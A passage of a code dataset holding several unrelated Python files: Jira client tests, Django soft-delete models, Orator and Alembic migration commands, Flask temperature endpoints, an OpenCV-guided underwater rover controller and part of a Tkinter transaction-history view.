{\n                    'customfield_10106': {\n                        'schema': {\n                            'customId': 10106\n                        },\n                        'name': 'Story Points',\n                    },\n                },\n            }]\n        }]\n    }\n\n    mock_jira_core.get_project_meta(project)\n\n    assert mock_api_get.called\n    assert project.custom_fields == CustomFields(estimate='10106')\n\n\n@mock.patch('jira_offline.utils.decorators.get_user_creds')\n@mock.patch('jira_offline.utils.api._request', side_effect=FailedAuthError)\ndef test_jira__get_project_meta__auth_retry_decorator(mock_api_request, mock_get_user_creds, mock_jira_core, project):\n    '''\n    Ensure a password prompt is shown when we have an API authentication failure\n    '''\n    # mock out call to _get_project_issue_statuses and _get_project_components\n    mock_jira_core._get_project_issue_statuses = mock.Mock()\n    mock_jira_core._get_project_components = mock.Mock()\n\n    # swallow the second FailedAuthError, the first one _should_ trigger a call to `get_user_creds`\n    with pytest.raises(FailedAuthError):\n        mock_jira_core.get_project_meta(project)\n\n    assert mock_get_user_creds.called is True\n\n\n@mock.patch('jira_offline.jira.api_get')\ndef test_jira__get_project_meta__raises_project_doesnt_exist(mock_api_get, mock_jira_core):\n    '''\n    Ensure ProjectDoesntExist exception is raised if nothing returned by API createmeta call\n    '''\n    # mock return from Jira createmeta API call\n    mock_api_get.return_value = {'projects': []}\n\n    with pytest.raises(ProjectDoesntExist):\n        mock_jira_core.get_project_meta(ProjectMeta(key='TEST'))\n\n\n@mock.patch('jira_offline.jira.api_get')\ndef test_jira__get_project_issue_statuses__extracts_statuses_for_issuetypes(mock_api_get, mock_jira_core, project):\n    '''\n    Ensure _get_project_issue_statuses() method doesn't choke if an issuetype has no priority field\n    '''\n    # mock return from Jira statuses API call\n    mock_api_get.return_value = [{\n        'id': '10005',\n        'name': 'Story',\n        'statuses': [{'name': 'Egg'}, {'name': 'Bacon'}]\n    }]\n\n    mock_jira_core._get_project_issue_statuses(project)\n\n    assert mock_api_get.called\n    assert project.issuetypes['Story'].statuses == {'Egg', 'Bacon'}\n\n\n@mock.patch('jira_offline.jira.api_get')\ndef test_jira__get_project_components__does_not_fail(mock_api_get, mock_jira_core, project):\n    '''\n    Ensure _get_project_components() method has no dumb errors\n    '''\n    # mock return from Jira components API call\n    mock_api_get.return_value = [{\n        'id': '10005',\n        'name': 'Egg',\n    },{\n        'id': '10006',\n        'name': 'Bacon',\n    }]\n\n    mock_jira_core._get_project_components(project)\n\n    assert mock_api_get.called\n    assert project.components == {'Egg', 'Bacon'}\n\n\n@mock.patch('jira_offline.jira.jiraapi_object_to_issue', return_value=Issue.deserialize(ISSUE_1))\n@mock.patch('jira_offline.jira.api_post')\ndef test_jira__new_issue__removes_fields_which_cannot_be_posted_for_new_issue(\n        mock_api_post, mock_jiraapi_object_to_issue, mock_jira_core, project\n    ):\n    '''\n    Some fields cannot be posted to the Jira API. Ensure they are removed before the API call.\n    '''\n    # dont write to disk during tests\n    mock_jira_core.write_issues = mock.Mock()\n\n    # add new issue to the jira object\n    mock_jira_core[ISSUE_NEW['key']] = Issue.deserialize(ISSUE_NEW)\n\n    # mock the fetch_issue() call that happens after successful new_issue() call\n    mock_jira_core.fetch_issue = mock.Mock()\n\n    mock_jira_core.new_issue(\n        project,\n        fields={\n            'project_id': 'notarealprojecthash',\n            'key': ISSUE_NEW['key'],\n            'summary': 'A summary',\n            'issuetype': {'name': 'Story'},\n        }\n    )\n\n    # assert \"key\" and \"status\" are removed\n    mock_api_post.assert_called_with(project, 'issue', data={'fields': {'summary': 'A summary', 'issuetype': {'name': 'Story'}}})\n\n\n@pytest.mark.parametrize('error_msg,exception', [\n    ('gh.epic.error.not.found', EpicNotFound),\n    (\"Field 'estimate' cannot be set\", EstimateFieldUnavailable),\n    ('cannot be set. It is not on the appropriate screen, or unknown.', JiraNotConfigured),\n])\n@mock.patch('jira_offline.jira.api_post')\ndef test_jira__new_issue__raises_specific_exceptions(mock_api_post, mock_jira_core, project, error_msg, exception):\n    '''\n    Ensure correct custom exception is raised when specific string found in Jira API error message\n    '''\n    # mock the Jira library to raise\n    mock_api_post.side_effect = JiraApiError(error_msg)\n\n    with pytest.raises(exception):\n        mock_jira_core.new_issue(\n            project,\n            fields={\n                'project_id': 'notarealprojecthash',\n                'key': ISSUE_NEW['key'],\n                'status': 'Backlog',\n                'summary': 'A summary',\n                'issuetype': {'name': 'Story'},\n            }\n        )\n\n\n@mock.patch('jira_offline.jira.api_post')\ndef test_jira__new_issue__removes_temp_key_when_new_post_successful(\n        mock_api_post, mock_jira_core, project\n    ):\n    '''\n    Ensure a successful post of a new Issue deletes the old temp UUID key from self\n    '''\n    # dont write to disk during tests\n    mock_jira_core.write_issues = mock.Mock()\n\n    # add new issue to the jira object, under temporary key\n    mock_jira_core[ISSUE_NEW['key']] = Issue.deserialize(ISSUE_NEW)\n\n    # mock the fetch_issue() call that happens after successful new_issue() call\n    mock_jira_core.fetch_issue = mock.Mock(return_value=Issue.deserialize(ISSUE_1))\n\n    mock_jira_core.new_issue(\n        project,\n        fields={\n            'project_id': 'notarealprojecthash',\n            'key': ISSUE_NEW['key'],\n            'status': 'Backlog',\n            'summary': 'A summary',\n            'issuetype': {'name': 'Story'},\n        }\n    )\n\n    # assert temporary key has been removed\n    assert ISSUE_NEW['key'] not in mock_jira_core\n    # assert new key returned from Jira API has been added (found in return from jiraapi_object_to_issue)\n    assert ISSUE_1['key'] in mock_jira_core\n\n\n@mock.patch('jira_offline.jira.jiraapi_object_to_issue')\n@mock.patch('jira_offline.jira.api_get')\ndef test_fetch_issue__returns_output_from_jiraapi_object_to_issue(\n        mock_api_get, mock_jiraapi_object_to_issue, mock_jira_core, project\n    ):\n    '''\n    Ensure jira.fetch_issue() returns the output directly from jiraapi_object_to_issue()\n    '''\n    mock_jiraapi_object_to_issue.return_value = 1\n\n    ret = mock_jira_core.fetch_issue(project, ISSUE_1['key'])\n    assert ret == 1\n\n    mock_api_get.assert_called_with(project, 'issue/{}'.format(ISSUE_1['key']))\n    assert mock_jiraapi_object_to_issue.called\n\n\ndef test_keys__respect_the_filter(mock_jira_core):\n    '''\n    Ensure that jira.keys() respects a configured jira.filter parameter\n    '''\n    mock_jira_core['TEST-71'] = Issue.deserialize(ISSUE_1)\n    mock_jira_core['TEST-72'] = Issue.deserialize(ISSUE_2)\n    mock_jira_core['TEST-72'].project = 'SECOND'\n\n    assert list(mock_jira_core.keys()) == ['TEST-71', 'TEST-72']\n\n    mock_jira_core.filter.project = 'SECOND'\n\n    assert list(mock_jira_core.keys()) == ['TEST-72']\n\n\ndef test_values__respect_the_filter(mock_jira_core):\n    '''\n    Ensure that jira.values() respects a configured jira.filter parameter\n    '''\n    mock_jira_core['TEST-71'] = Issue.deserialize(ISSUE_1)\n    mock_jira_core['TEST-72'] = Issue.deserialize(ISSUE_2)\n    mock_jira_core['TEST-72'].project = 'SECOND'\n\n    assert list(mock_jira_core.values()) == [mock_jira_core['TEST-71'], mock_jira_core['TEST-72']]\n\n    mock_jira_core.filter.project = 'SECOND'\n\n    assert list(mock_jira_core.values()) == [mock_jira_core['TEST-72']]\n\n\ndef test_items__respect_the_filter(mock_jira_core):\n    '''\n    Ensure that jira.items() respects a configured jira.filter parameter\n    '''\n    mock_jira_core['TEST-71'] = Issue.deserialize(ISSUE_1)\n    mock_jira_core['TEST-72'] = Issue.deserialize(ISSUE_2)\n    mock_jira_core['TEST-72'].project = 'SECOND'\n\n    assert list(mock_jira_core.items()) == [\n        ('TEST-71', mock_jira_core['TEST-71']),\n        ('TEST-72', mock_jira_core['TEST-72']),\n    ]\n\n    mock_jira_core.filter.project = 'SECOND'\n\n    assert list(mock_jira_core.items()) == [\n        ('TEST-72', mock_jira_core['TEST-72']),\n    ]\n","sub_path":"test/test_jira_class.py","file_name":"test_jira_class.py","file_ext":"py","file_size_in_byte":17580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"616651980","text":"# coding=utf-8\nfrom django.db.models.query import QuerySet\nfrom django.conf import settings\nfrom django.contrib.auth.models import UserManager, AbstractBaseUser, PermissionsMixin\nfrom django.core.mail import send_mail\nfrom django.db import models\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.core import validators\n\n\n# basic model stuff\n##########################################\nclass DataQuerySet(QuerySet):\n    def delete(self):\n        self.update(active=False, deleted=timezone.now())\n\n\nclass AllObjectsQuerySet(QuerySet):\n    def undelete(self):\n        self.update(active=True, deleted=None)\n\n\nclass DataManager(models.Manager):\n    use_for_related_fields = True\n\n    def get_queryset(self):\n        qs = DataQuerySet(self.model, using=self._db)\n        return qs.filter(active=True)\n\n    def delete(self):\n        self.update(active=False, deleted=timezone.now())\n\n\nclass AllObjectsManager(models.Manager):\n\n    def get_queryset(self):\n        return DataQuerySet(self.model, using=self._db)\n\n    def deleted(self):\n        return self.filter(active=False)\n\n\n# base model with useful stuff\nclass BaseModel(models.Model):\n\n    created = models.DateTimeField(auto_now_add=True, editable=False, db_index=True)\n    modified = models.DateTimeField(auto_now=True, editable=False, db_index=True)\n    deleted = models.DateTimeField(editable=False, null=True)\n\n    active = models.BooleanField(default=True, editable=False, db_index=True)\n\n    # access only active data objects\n    data = DataManager()\n    # access all (including deleted) data\n    objects = AllObjectsManager()\n\n    class Meta:\n        abstract = True\n        ordering = ['-created']\n\n    # deleted data is bad - doing it you shouldn't!\n    def delete(self, using=None):\n        self.active = False\n        self.save()\n\n    def undelete(self, using=None):\n        self.active = True\n        self.save()\n\n    def save(self, force_insert=False, force_update=False, using=None, update_fields=None):\n\n        if self.active:\n            self.deleted = None\n        elif not self.deleted:\n            self.deleted = timezone.now()\n\n        super(BaseModel, self).save(force_insert=force_insert, using=using,\n                                    update_fields=update_fields)\n\n    def reload_me(self):\n        if self.id:\n            return self.__class__.objects.get(id=self.id)\n\n    def pprint(self):\n        pprint(self.__dict__)\n\n\nclass NamedModel(BaseModel):\n    name = models.CharField('Name', max_length=150, db_index=True)\n\n    class Meta:\n        ordering = ['name']\n        abstract = True\n\n    def __unicode__(self):\n        return self.name\n\n\nclass UserDataManager(UserManager, DataManager):\n    pass\n\n\nclass User(AbstractBaseUser, BaseModel, PermissionsMixin):\n    username = models.CharField(_('username'), max_length=30, unique=True,\n                                help_text=_('user.login.username_help'),\n                                validators=[\n                                    validators.RegexValidator(\n                                        r'^[\\w.@+-]+$', _('forms.errors.enter_valid_username.'), 'username_invalid')\n                                ])\n    first_name = models.CharField(_('first name'), max_length=30, blank=True)\n    last_name = models.CharField(_('last name'), max_length=30, blank=True)\n    email = models.EmailField(_('email address'), blank=False)\n    is_staff = models.BooleanField(_('staff status'), default=False,\n                                   help_text=_('Designates whether the user can log into this admin site.'))\n    is_active = models.BooleanField(_('active'), default=True,\n                                    help_text=_('Designates whether this user should be treated as '\n                                                'active. Unselect this instead of deleting accounts.'))\n    date_joined = models.DateTimeField(_('date joined'), default=timezone.now)\n\n    USERNAME_FIELD = 'username'\n    REQUIRED_FIELDS = ['email']\n\n    data = UserDataManager()\n    objects = UserManager()\n\n    class Meta:\n        abstract = True\n        verbose_name = _('user')\n        verbose_name_plural = _('users')\n\n    def get_full_name(self):\n        \"\"\" Returns the first_name plus the last_name, with a space in between. \"\"\"\n        full_name = '%s %s' % (self.first_name, self.last_name)\n        return full_name.strip()\n\n    def get_short_name(self):\n        \"\"\" Returns the short name for the user. \"\"\"\n        return self.first_name\n\n    def email_user(self, subject, message, from_email=settings.DEFAULT_FROM_EMAIL, **kwargs):\n        \"\"\"\n         Sends an email to this User.\n         If settings.EMAIL_OVERRIDE_ADDRESS is set, this mail will be redirected to the alternate mail address.\n\n        \"\"\"\n        receiver = self.email\n        if settings.EMAIL_OVERRIDE_ADDRESS:\n            receiver = settings.EMAIL_OVERRIDE_ADDRESS\n\n        send_mail(subject, message, from_email, [receiver], **kwargs)\n","sub_path":"django_undeletable/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"371443710","text":"# -*- coding: utf-8 -*-\n\nfrom orator.migrations import Migrator, DatabaseMigrationRepository\nfrom .base_command import BaseCommand\n\n\nclass RollbackCommand(BaseCommand):\n    \"\"\"\n    Rollback the last database migration.\n\n    migrate:rollback\n        {--d|database= : The database connection to use.}\n        {--p|path= : The path of migrations files to be executed.}\n        {--P|pretend : Dump the SQL queries that would be run.}\n        {--f|force : Force the operation to run.}\n    \"\"\"\n\n    def handle(self):\n        \"\"\"\n        Executes the command.\n        \"\"\"\n        if not self.confirm_to_proceed(\n            \"<question>Are you sure you want to rollback the last migration?:</question> \"\n        ):\n            return\n\n        database = self.option(\"database\")\n        repository = DatabaseMigrationRepository(self.resolver, \"migrations\")\n\n        migrator = Migrator(repository, self.resolver)\n\n        self._prepare_database(migrator, database)\n\n        pretend = self.option(\"pretend\")\n\n        path = self.option(\"path\")\n\n        if path is None:\n            path = self._get_migration_path()\n\n        migrator.rollback(path, pretend)\n\n        for note in migrator.get_notes():\n            self.line(note)\n\n    def _prepare_database(self, migrator, database):\n        migrator.set_connection(database)\n","sub_path":"orator/commands/migrations/rollback_command.py","file_name":"rollback_command.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"123186841","text":"from flask import request, jsonify\nfrom flask_restful import Resource\n\nfrom repositories import TempRepository\n\n\nclass TempData(Resource):\n    def get(self, year: str):\n        try:\n            temp = TempRepository.get(year)\n            return temp, 200\n        except Exception as e:\n            return (\"Not found\", 404)\n\n\nclass TempAdd(Resource):\n    def post(self):\n        \"\"\"\n        Create row\n        \"\"\"\n        request_json = request.get_json(silent=True)\n        avg_temp: float = request_json[\"avg_temp\"]\n        avg_temp_uncertainty: float = request_json.get(\"avg_temp_uncertainty\")\n        city: str = request_json[\"city\"]\n        country: str = request_json.get(\"country\")\n        lat: str = request_json[\"lat\"]\n        lon: str = request_json.get(\"lon\")\n        try:\n            temp = TempRepository.create(\n                avg_temp, avg_temp_uncertainty, city, country, lat, lon\n            )\n            return temp, 200\n        except Exception as e:\n            response = jsonify(e.to_dict())\n            response.status_code = e.status_code\n            return response\n\n\nclass TempUpdate(Resource):\n    def patch(self):\n        \"\"\"\n        Update row based on id\n        \"\"\"\n        request_json = request.get_json(silent=True)\n        id: str = request_json[\"id\"]\n        avg_temp: str = request_json.get(\"avg_temp\", \"\")\n        try:\n            temp = TempRepository.update(id, avg_temp)\n            return temp, 200\n        except Exception as e:\n            response = jsonify(e.to_dict())\n            response.status_code = e.status_code\n            return response\n","sub_path":"src/resources/temp_data.py","file_name":"temp_data.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"631393885","text":"import websockets,asyncio,time,json,cv2,base64\nimport numpy as np\nfrom shapeDetectionClass import ShapeDetection\nfrom websocket import create_connection\n\nasync def startRoboServerConnect( clientHost=None, clientPort=None, sendMessage=None):\n    global distanceData\n    async with websockets.connect(\n            \"ws://\" + str(clientHost) + \":\" + str(clientPort)) as roboClientWebSocket:\n        try:\n            print(sendMessage)\n            roboClientWebSocket = roboClientWebSocket\n            # sendMessage=json.dumps(sendMessage)\n            await roboClientWebSocket.send(str(sendMessage).encode(\"utf-8\"))\n            print(sendMessage)\n            \"server dan gelen veriyi dinleme işlemi\"\n            distanceData=await roboClientWebSocket.recv()\n        except Exception as hata:\n            print(\"startRoboServerConnect bölümünde veriler iletilirken bir hata ile karışılaşıldı hata kodu : \",\n                  hata)\n\n\ndef connect(url,port):\n    ws = create_connection(\"ws://\"+str(url)+\":\"+str(port))\n    ws.send(\"Hello, World\")\n    result = ws.recv()\n    ws.close()\n    im_bytes = base64.b64decode(result.decode(\"utf-8\"))\n    im_arr = np.frombuffer(im_bytes, dtype=np.uint8)  # im_arr is one-dim Numpy array\n    img = cv2.imdecode(im_arr, flags=cv2.IMREAD_COLOR)\n    return img\n\n\ndef main():\n    global  data\n    true1=False\n    true2=False\n    true3=False\n    true4=True\n    eskizaman=time.time()\n\n    ileri=1\n    saga=3\n    sola=2\n    cap = cv2.VideoCapture(0)  ##change this later to the name of the video\n    while True:\n        direction = 0\n        yState1 = False\n        yState2 = False\n\n        # ret,img=cap.read()\n        img = connect(ip, 5002)\n        # arm=connect(ip,5001)\n        # display_stabilize=connect(ip,5003)\n\n        # asyncio.get_event_loop().run_until_complete(startRoboServerConnect(clientHost=ip,clientPort=5000,sendMessage=data))\n        # distanceData=connectJsonControl(url=ip, port=5000, sendMessage=data.enc)\n        # print(distanceData)\n        # if distanceData!=None and distanceData!=\"{}\" and distanceData!=\"\":\n        #     # distanceData=json.dumps(distanceData)\n        #     distanceData=json.loads(distanceData)\n        #     print(distanceData)\n        # rovDistance=rov_distance_paint.mainDistance(int(distanceData[\"distanceFront\"]),(distanceData[\"distanceDown\"]),distanceData[\"distanceRight\"],distanceData[\"distanceLeft\"])\n        # cv2.imshow(\"asaa\",rovDistance)\n        img = img\n        frame = img.copy()\n        hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)  # --------\n        # define range of blue color in HSV\n        # lower_blue = np.array([110,50,50])\n        lower_blue = np.array([99,237,131])#Sualtın da ki nesne\n        # lower_blue = np.array([91, 237, 131])  # Sualtında ki Çember #--------\n        # lower_blue = np.array([91, 159, 255])  # Sualtında ki Çember\n        # upper_blue = np.array([130,255,255])\n        upper_blue = np.array([180, 251, 255])  # Sualtında ki nesne\n        # upper_blue = np.array([112, 255, 255])  # Sualtında ki Çember\n        # upper_blue = np.array([112, 255, 255])  # Sualtında ki Çember#--------\n        # Threshold the HSV image to get only blue colors\n        mask = cv2.inRange(hsv, lower_blue, upper_blue)  # --------\n        # Bitwise-AND mask and original image\n        kernel = np.ones((5, 5), np.uint8)  # --------\n        mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)  # --------\n        # mask = cv2.morphologyEx(mask, cv2.MORPH_CLOSE, kernel)\n        # mask=cv2.morphologyEx(mask, cv2.MORPH_GRADIENT, kernel1)\n        # kernel = np.ones((5, 5), np.uint8)\n        # mask = cv2.erode(img, kernel, iterations=1)\n        # resimGray = cv2.cvtColor(mask,cv2.COLOR_BGR2GRAY)\n        res = cv2.bitwise_and(frame, frame, mask=mask)  # --------\n\n        # resim=cv2.threshold(hsv,100,255,cv2.THRESH_BINARY)\n        # cv2.imshow('res', frame)\n        # cv2.imshow('mask', img)\n        # print(mask.shape)\n        # print(frame.shape)\n        # cv2.imshow('mask', resimGray)\n        h, w, _ = img.shape\n        h = int(h / 2)\n        w = int(w / 2)\n        # cv2.imshow(\"res resimi\",img)\n        shapeCircle, Circles = shape.imgRead(img=res, imgContour=frame)\n        cv2.imshow('res', frame)\n        object = False\n        x, y = 0, 0\n        for cX, cY in shapeCircle:\n            print(f\"sekil dairenin X ekseni {cX} y ekseni {cY}\")\n            # for dX, dY in Circles:\n            #     print(f\"Dairenin X ekseni {dX} y ekseni {dY}\")\n            #     if (abs(cX - dX) < 50) or (abs(dY - cY) < 50):\n            #         print(\"daire bulundu\")\n            #         x = int((cX + dX) / 2)\n            #         y = int((dX + cY) / 2)\n            #         dataObject = {\n            #             \"sekilX\": cX,\n            #             \"sekilY\": cY,\n            #             \"daireX\": dX,\n            #             \"daireY\": dY\n            #         }\n            #         object = True\n            #\n            x = cX\n            y = cY\n            object = True\n            # print(dataObject)\n\n        if object == True:\n            # print(data)\n            if abs(w - x) <= 75 and abs(h - y) <= 75:\n                print(\"5. Durum araç x - y ekseninde sabit kalarak ileri doğru gidiyor\")\n                # data[\"frontSpeed\"] = True\n                center = True\n                direction=ileri\n            else:\n                center = False\n\n            # if abs(w-x)<=50 and h>=y and center==False:\n            #     print(\"2. Durum X ekseninde sabit kalıp yukarı doğru çıkıyor\")\n            #     # data[\"robot_arm_y_positive\"] = 1\n            #     # data[\"robot_arm_z_positive\"] = 1\n            #     yState1 = True\n            # else:\n            #     yState1 = False\n\n            if abs(h - y) <= 50 and w >= x and center == False:\n                print(\"4. Durum y ekseninde sabit kalıp- x ekseninde sola doğru gidiyor\")\n                # data[\"goLeftSpeed\"] = True\n                # data[\"goRightSpeed\"] = False\n                xState1 = True\n                direction=sola\n            else:\n                xState1 = False\n\n            if abs(h - y) <= 50 and x >= w and center == False:\n                print(\"6. Durum y ekseninde sabit kalıp- x ekseninde sağa doğru gidiyor\")\n                # data[\"goRightSpeed\"] = True\n                # data[\"goLeftSpeed\"] = False\n                xState2 = True\n                direction=saga\n            else:\n                xState2 = False\n\n            # if  abs(w-x)<=50 and y>=h and center==False:\n            #     print(\"8. Durum X ekseninde sabit kalıp yukarı doğru çıkıyor\")\n            #     # data[\"robot_arm_y_negative\"] = 1\n            #     # data[\"robot_arm_z_negative\"] = 1\n            #     yState2 = True\n            # else:\n            #     yState2 = False\n\n            if w >= x and h >= y and center == False and yState1 == False and xState1 == False:\n                print(\"1. Durum x ekseninde sola doğru - y ekseninde yukarı doğru çıkıyor\")\n                # data[\"robot_arm_y_positive\"]=1\n                # data[\"robot_arm_z_positive\"]=1\n                # data[\"robotHeightPositive\"] = True\n                # data[\"goLeftSpeed\"] = True\n                direction=sola\n\n            if x >= w and h >= y and center == False and xState2 == False and yState1 == False:\n                print(\"3. Durum x ekseninde sağa doğru dönüyor - y ekseninde yukarı doğru çıkıyor\")\n                # data[\"robot_arm_y_positive\"] = 1\n                # data[\"robot_arm_z_positive\"] = 1\n                # data[\"robotHeightSpeed\"] = True\n                # data[\"goRightSpeed\"] = True\n                direction=saga\n\n            if w >= x and y >= h and center == False and xState1 == False and yState2 == False:\n                print(\"7. Durum X ekseninde sola doğru dönüyor - y ekseninde aşağı doğru iniyor\")\n                # data[\"robot_arm_y_negative\"] = 1\n                # data[\"robot_arm_z_negative\"] = 1\n                # data[\"robotHeightNegative\"] = True\n                # data[\"goLeftSpeed\"] = True\n                direction=sola\n            if x >= w and y >= h and center == False and xState2 == False and yState2 == False:\n                print(\"9. Durum X ekseninde sağa doğru dönüyor - y ekseninde aşağı doğru iniyor\")\n                # data[\"robot_arm_y_negative\"] = 1\n                # data[\"robot_arm_z_negative\"] = 1\n                # data[\"robotHeightNegative\"] = True\n                # data[\"goRightSpeed\"] = True\n                direction=saga\n        else:\n            \"2 metre ileri\"\n            # print(time.time(),eskizaman)\n            # print(true1,true2,true3,true4)\n            if time.time()-eskizaman>=15 and true4==True:\n\n                eskizaman=time.time()\n                true1=True\n                true4 =False\n            elif true4==True:\n\n                direction=ileri\n\n            if time.time() - eskizaman >= 15 and true1==True:\n                true2=True\n                true4=False\n                true1=False\n                eskizaman=time.time()\n            elif true1==True:\n                direction=saga\n\n            if time.time() - eskizaman >= 2 and true2==True:\n                true3 = True\n                true2=False\n                eskizaman = time.time()\n            # time.sleep(4)\n            elif true2==True:\n                direction=sola\n\n            if time.time() - eskizaman >= 30 and true3==True:\n                true4=True\n                true3=False\n                eskizaman = time.time()\n            elif true3 == True:\n                direction=ileri\n        asyncio.get_event_loop().run_until_complete(\n            startRoboServerConnect(clientHost=ip, clientPort=5000, sendMessage=direction))\n        if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n            cv2.destroyAllWindows()\n            print(\"bitti\")\n            break\n\nif __name__ == '__main__':\n    ip=\"192.168.1.42\"\n    # ip=\"127.0.0.1\"\n    shape = ShapeDetection()\n    main()","sub_path":"Rover/Controller-PC/randomCircle.py","file_name":"randomCircle.py","file_ext":"py","file_size_in_byte":9963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"583101108","text":"# -*- coding: utf-8 -*-\nfrom django.core.management.base import BaseCommand, CommandError\nfrom alembic.script import ScriptDirectory\nfrom alembic.environment import EnvironmentContext\nfrom django.utils.module_loading import import_string\n\nfrom ._command_utils import get_migrations_config, get_config_from_dict, get_module_from_db_name\n\n\nclass Command(BaseCommand):\n    help = 'List changeset scripts in chronological order.'\n\n    def add_arguments(self, parser):\n        parser.add_argument('metadata', help=\"Metadata target module\", nargs=\"?\", type=str)\n        parser.add_argument('--no-metadata', dest='use_metadata',\n                            help=\"Avoid passing the metadata to revision environment.\", action='store_false')\n        parser.set_defaults(use_metadata=True)\n\n        parser.add_argument('--verbose', dest='verbose', action='store_true')\n        parser.set_defaults(verbose=False)\n\n        parser.add_argument('-r', dest='rev_range', nargs='?', help=\"Specify a revision range; format is [start]:[end]\")\n        parser.set_defaults(rev_range=None)\n\n    def handle(self, *args, **options):\n        db_id = options.get(\"metadata\", None)\n        metadata_module_name = get_module_from_db_name(db_id)\n        verbose = options.get(\"verbose\")\n        use_metadata = options.get(\"use_metadata\")\n        rev_range = options.get(\"rev_range\")\n\n        try:\n            metadata_cls = import_string(metadata_module_name)\n        except ImportError:\n            raise CommandError(\"ImportError: Invalid Module Name '%s' \" % metadata_module_name)\n\n        migrations_conf_dict = get_migrations_config(db_id)\n\n        if migrations_conf_dict is None:\n            raise CommandError(\"Migrations configuration not found.\")\n\n        config = get_config_from_dict(metadata_cls, use_metadata=use_metadata, **migrations_conf_dict)\n\n        script = ScriptDirectory.from_config(config)\n\n        if rev_range is not None:\n            if \":\" not in rev_range:\n                raise CommandError(\n                    \"History range requires [start]:[end], \"\n                    \"[start]:, or :[end]\")\n            base, head = rev_range.strip().split(\":\")\n        else:\n            base = head = None\n\n        def _display_history(config, script, base, head):\n            for sc in script.walk_revisions(\n                    base=base or \"base\",\n                    head=head or \"heads\"):\n                self.stdout.write(\n                    sc.cmd_format(\n                        verbose=verbose, include_branches=True,\n                        include_doc=True, include_parents=True))\n\n        def _display_history_w_current(config, script, base=None, head=None):\n            def _display_current_history(rev, context):\n                if head is None:\n                    _display_history(config, script, base, rev)\n                elif base is None:\n                    _display_history(config, script, rev, head)\n                return []\n\n            with EnvironmentContext(\n                    config,\n                    script,\n                    fn=_display_current_history\n            ):\n                script.run_env()\n\n        if base == \"current\":\n            _display_history_w_current(config, script, head=head)\n        elif head == \"current\":\n            _display_history_w_current(config, script, base=base)\n        else:\n            _display_history(config, script, base, head)\n","sub_path":"djsqla_exodus/management/commands/exodus_history.py","file_name":"exodus_history.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"188577239","text":"\r\nimport tkinter as tk\r\nfrom tkinter import filedialog, StringVar, ttk, messagebox, Toplevel \r\nimport os\r\nimport datetime\r\nimport json\r\nimport time\r\nimport modules.localdb as localdb\r\nimport modules.app_fun as app_fun\r\n# import operator\r\nimport modules.flexitable as flexitable\r\n\r\nclass TransactionsHistory:\r\n\r\n\tdef update_history_frame(self,*eventargs):\r\n\t\r\n\t\tif not self.update_in_progress:\r\n\t\t\tself.update_in_progress=True\r\n\t\t\tself.grid_settings=[]\r\n\t\t\tself.update_list()\r\n\t\t\tself.main_table.update_frame(self.grid_settings)\r\n\t\t\tself.update_in_progress=False\r\n\t\t\r\n\t\t\r\n\tdef __init__(self,parent_frame):\r\n\t\tself.grid_settings=[]\r\n\t\tself.update_in_progress=False\r\n\t\r\n\t\tidb=localdb.DB()\r\n\t\t\r\n\t\tframe0=ttk.LabelFrame(parent_frame,text='Filter')  \r\n\t\tframe0.grid(row=0,column=0, sticky=\"nsew\")\r\n\t\t\r\n\t\ttmpdict={}\r\n\t\ttmpdict['filters']=[{'T':'LabelC', 'L':'Category: '}\r\n\t\t\t\t\t\t\t, {'T':'Combox', 'uid':'category', 'V':['All','send','merge','other'] }\r\n\t\t\t\t\t\t\t, {'T':'LabelC', 'L':'Type: '}\r\n\t\t\t\t\t\t\t, {'T':'Combox', 'uid':'type', 'V':['All','in','out'] }\r\n\t\t\t\t\t\t\t, {'T':'LabelC', 'L':'Last: '}\r\n\t\t\t\t\t\t\t, {'T':'Combox', 'uid':'last', 'V':['24h','week','month','12 months','All'] }\r\n\t\t\t\t\t\t\t, {'T':'LabelC', 'L':'Status: '}\r\n\t\t\t\t\t\t\t, {'T':'Combox', 'uid':'status', 'V':['All','sent','received','notarized' ] }\r\n\t\t\t\t\t\t\t]\r\n\t\tgrid_filter=[]\r\n\t\tgrid_filter.append(tmpdict )\r\n\t\t\r\n\t\tself.filter_table=flexitable.FlexiTable(frame0,grid_filter) \r\n\t\t\r\n\t\t# addr book view left:\r\n\t\tframe1=ttk.LabelFrame(parent_frame,text='Transactions list') \r\n\t\tframe1.grid(row=1,column=0, sticky=\"nsew\")\r\n\t\r\n\t\ttmpdict={}\r\n\t\ttmpdict['head']=[{'T':'LabelC', 'L':'Category' } , \r\n\t\t\t\t\t\t{'T':'LabelC', 'L':'Type' } , \r\n\t\t\t\t\t\t{'T':'LabelC', 'L':'Status' } , \r\n\t\t\t\t\t\t{'T':'LabelC', 'L':'Block' },\r\n\t\t\t\t\t\t{'T':'LabelC', 'L':'Date time' } , \r\n\t\t\t\t\t\t{'T':'LabelC', 'L':'Amount' } , \r\n\t\t\t\t\t\t{'T':'LabelC', 'L':'From' } , \r\n\t\t\t\t\t\t{'T':'LabelC', 'L':'To' } , \r\n\t\t\t\t\t\t{'T':'LabelC', 'L':'txid' } \r\n\t\t\t\t\t\t]\r\n\t\t\t\t\t\t\r\n\t\tself.grid_settings.append(tmpdict)\r\n\r\n\t\tself.update_list()\r\n\t\t\r\n\t\tself.main_table=flexitable.FlexiTable(frame1,self.grid_settings, min_canvas_width=1200,force_scroll=True)\r\n\t\t\r\n\t\t\r\n\t\tself.filter_table.bind_combox_cmd('category',[], self.update_history_frame )\t\r\n\t\tself.filter_table.bind_combox_cmd('type',[],  self.update_history_frame )\t\r\n\t\tself.filter_table.bind_combox_cmd('status',[],  self.update_history_frame 